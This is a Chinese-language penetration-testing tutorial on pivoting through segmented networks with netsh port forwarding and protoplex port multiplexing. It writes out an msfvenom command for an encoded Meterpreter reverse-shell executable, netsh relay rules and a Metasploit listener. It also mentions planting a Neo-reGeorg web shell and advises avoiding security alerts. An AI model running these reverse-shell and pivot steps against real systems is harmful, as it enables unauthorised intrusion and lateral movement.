内网--端口转发以及端口复用
字数 1186 2025-08-12 11:34:00
内网渗透中的端口转发与端口复用技术详解
一、前言
在内网渗透测试中,经常会遇到网络隔离的情况,目标机器可能只开放特定端口或处于不同网段。本文详细介绍了如何利用端口转发和端口复用技术突破网络限制,实现内网横向移动。
二、基础场景分析
初始环境
- 攻击者位于192网段
- 目标机器位于172网段
- 172网段机器只对192网段开放1433端口(MSSQL)
- 拥有172网段机器的MSSQL账号(可执行命令和上传文件)
三、端口转发技术
1. 使用netsh进行端口转发
netsh(Network Shell)是Windows系统自带的强大网络配置工具,可用于端口转发。
场景1:目标机器可访问跳板机任意端口
- 使用msfvenom生成反向shell:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe - 在跳板机设置端口转发:
netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129 - 在攻击机设置监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.49.129 set lport 6767 - 在目标机器执行木马,攻击机成功获取会话
场景2:目标机器只能访问跳板机特定端口
- 限制条件:目标机器只能访问跳板机的80、445、1433、1521、3306、3389、6379、8080等端口中的一个或多个
- 测试发现:
- 80、445、1433、3389、6379等端口转发失败(可能与Windows自带服务冲突)
- 3306和8080端口可正常转发
场景3:目标机器只能访问跳板机特定端口且跳板机不能访问目标机器
- 对于80端口:可通过上传Web shell(如Neo-reGeorg)建立连接
- 对于3306端口:
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5- 可读取密码或添加用户
- 通过跳板机连接远程桌面(使用3306端口)
注意:某些端口(如IIS的80端口、MSSQL的1433端口)无法转发,而3306、8080等端口可转发,需根据实际情况测试。
四、端口复用技术
1. 使用protoplex工具
protoplex是一个协议复用工具,可根据协议类型将流量转发到不同端口。
基本命令格式:
protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444
- 监听4444端口
- 如果是socks5协议流量,转发到9999端口
- 如果是http流量,转发到80端口
限制:
- 监听端口不能被占用
- 不能是3306、1433、3389等特殊端口
- socks5测试效果不理想
五、技术要点总结
-
netsh端口转发适用性:
- 适用于Windows系统
- 对某些服务端口(80、1433等)可能无效
- 3306、8080等端口转发效果较好
-
端口选择策略:
- 优先选择非常用端口
- 测试多个端口以确定可用性
- 注意系统服务占用情况
-
协议复用注意事项:
- 需要了解目标网络流量类型
- 工具兼容性需测试
- 可能受到防火墙规则限制
-
实际渗透中的建议:
- 多尝试不同端口和技术组合
- 记录测试结果,建立可行方案库
- 注意隐蔽性,避免触发安全警报
六、未解决问题
原文作者提到最终未能解决的问题:
- 在严格限制环境下(如只能通过特定端口通信)的稳定连接方法
- socks5协议复用的可靠性问题
这些问题的解决方案仍需进一步研究和实践验证。